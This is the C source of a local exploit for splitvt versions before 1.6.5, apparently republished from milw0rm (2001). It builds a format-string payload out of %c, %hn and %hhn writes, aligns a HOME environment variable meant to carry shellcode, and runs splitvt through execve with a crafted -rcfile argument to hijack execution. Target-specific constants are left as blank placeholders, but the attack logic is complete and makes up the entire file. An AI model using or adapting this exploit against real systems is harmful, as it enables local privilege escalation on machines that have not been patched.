/*
* MasterSecuritY <www.mastersecurity.fr>
*
* spitvt.c - Local exploit for splitvt < 1.6.5
* Copyright (C) 2001 fish stiqz <fish@analog.org>
* Copyright (C) 2001 Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
*
* Updated versions of this exploit and the corresponding advisory will
* be made available at:
*
* ftp://maxx.via.ecp.fr/spitvt/
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or (at
* your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
* USA
*/
#include <limits.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
/* array_of_strings_t */
typedef struct array_of_strings_s {
size_t strings;
char ** array;
} array_of_strings_t;
/* type_t */
typedef enum {
short_int,
signed_char,
null
} type_t;
/* n_t */
typedef struct n_s {
type_t type;
void * pointer;
int number;
} n_t;
/* <fixme> */
#define COMMAND ""
#define HOME_VALUE ""
#define SPLITVT ""
#define STACK ()
n_t n[] = {
{ null }
};
/* </fixme> */
unsigned long int eat;
array_of_strings_t aos_envp = { 0, NULL };
array_of_strings_t aos_argv = { 0, NULL };
/* array_of_strings() */
int array_of_strings( array_of_strings_t * p_aos, char * string )
{
size_t strings;
char ** array;
if ( p_aos->strings == SIZE_MAX / sizeof(char *) ) {
return( -1 );
}
strings = p_aos->strings + 1;
array = realloc( p_aos->array, strings * sizeof(char *) );
if ( array == NULL ) {
return( -1 );
}
(p_aos->array = array)[ p_aos->strings++ ] = string;
return( 0 );
}
#define HOME_KEY "HOME"
/* home() */
int home()
{
char * home;
unsigned int envp_home;
unsigned int i;
home = malloc( sizeof(HOME_KEY) + sizeof(HOME_VALUE) + (4-1) );
if ( home == NULL ) {
return( -1 );
}
strcpy( home, HOME_KEY"="HOME_VALUE );
/* if HOME_VALUE holds a shellcode and is to be executed, 4 bytes
* alignment is sometimes required (on sparc architectures for
* example) */
envp_home = STACK - sizeof(SPLITVT) - sizeof(HOME_VALUE);
for ( i = 0; i < envp_home % 4; i++ ) {
strcat( home, "X" );
}
return( array_of_strings(&aos_envp, home) );
}
/* shell() */
int shell()
{
size_t size;
unsigned int i;
char * shell;
char * string;
size = 0;
for ( i = 0; n[i].type != null; i++ ) {
size += sizeof(void *);
}
shell = malloc( size + 3 + 1 );
if ( shell == NULL ) {
return( -1 );
}
for ( i = 0; n[i].type != null; i++ ) {
*( (void **)shell + i ) = n[i].pointer;
}
/* since file is 16 bytes aligned on the stack, the following 3
* characters padding ensures shell is 4 bytes aligned */
for ( i = 0; i < 3; i++ ) {
shell[ size + i ] = 'X';
}
shell[ size + i ] = '\0';
for ( string = shell; string <= shell+size+i; string += strlen(string)+1 ) {
if ( array_of_strings(&aos_argv, string) ) {
return( -1 );
}
}
return( 0 );
}
#define S "%s"
#define C "%c"
#define HN "%hn"
#define HHN "%hhn"
/* file() */
int file()
{
size_t size;
unsigned int i, j;
char * file;
int number;
unsigned int argv_file;
size = (sizeof(S)-1) + (eat * (sizeof(C)-1));
for ( i = 0; n[i].type != null; i++ ) {
switch ( n[i].type ) {
case short_int:
/* at most USHRT_MAX 'X's are needed */
size += USHRT_MAX + (sizeof(HN)-1);
break;
case signed_char:
/* at most UCHAR_MAX 'X's are needed */
size += UCHAR_MAX + (sizeof(HHN)-1);
break;
case null:
default:
return( -1 );
}
}
file = malloc( size + (16-1) + 1 );
if ( file == NULL ) {
return( -1 );
}
i = 0;
memcpy( file + i, S, sizeof(S)-1 );
i += sizeof(S)-1;
for ( j = 0; j < eat; j++ ) {
memcpy( file + i, C, sizeof(C)-1 );
i += sizeof(C)-1;
}
/* initialize number to the number of characters written so far
* (aos_envp.array[aos_envp.strings-2] corresponds to the HOME
* environment variable) */
number = strlen(aos_envp.array[aos_envp.strings-2])-sizeof(HOME_KEY) + eat;
for ( j = 0; n[j].type != null; j++ ) {
switch ( n[j].type ) {
case short_int:
while ( (short int)number != (short int)n[j].number ) {
file[ i++ ] = 'X';
number += 1;
}
memcpy( file + i, HN, sizeof(HN)-1 );
i += sizeof(HN)-1;
break;
case signed_char:
while ( (signed char)number != (signed char)n[j].number ) {
file[ i++ ] = 'X';
number += 1;
}
memcpy( file + i, HHN, sizeof(HHN)-1 );
i += sizeof(HHN)-1;
break;
case null:
default:
return( -1 );
}
}
/* in order to maintain a constant distance between the sprintf()
* arguments and the splitvt shell argument, 16 bytes alignment is
* sometimes required (for ELF binaries for example) */
argv_file = STACK - sizeof(SPLITVT);
for ( j = 0; aos_envp.array[j] != NULL; j++ ) {
argv_file -= strlen( aos_envp.array[j] ) + 1;
}
argv_file -= i + 1;
for ( j = 0; j < argv_file % 16; j++ ) {
file[ i++ ] = 'X';
}
file[ i ] = '\0';
return( array_of_strings(&aos_argv, file) );
}
/* main() */
int main( int argc, char * argv[] )
{
/* eat */
if ( argc != 2 ) {
return( -1 );
}
eat = strtoul( argv[1], NULL, 0 );
/* aos_envp */
array_of_strings( &aos_envp, "TERM=vt100" );
/* home() should always be called right before NULL is added to
* aos_envp */
if ( home() ) {
return( -1 );
}
array_of_strings( &aos_envp, NULL );
/* aos_argv */
array_of_strings( &aos_argv, SPLITVT );
array_of_strings( &aos_argv, "-upper" );
array_of_strings( &aos_argv, COMMAND );
array_of_strings( &aos_argv, "-lower" );
array_of_strings( &aos_argv, COMMAND );
/* shell() should always be called right before "-rcfile" is added
* to aos_argv */
if ( shell() ) {
return( -1 );
}
array_of_strings( &aos_argv, "-rcfile" );
/* file() should always be called right after "-rcfile" is added to
* aos_argv and right before NULL is added to aos_argv */
if ( file() ) {
return( -1 );
}
array_of_strings( &aos_argv, NULL );
/* execve() */
execve( aos_argv.array[0], aos_argv.array, aos_envp.array );
return( -1 );
}
// milw0rm.com [2001-01-26]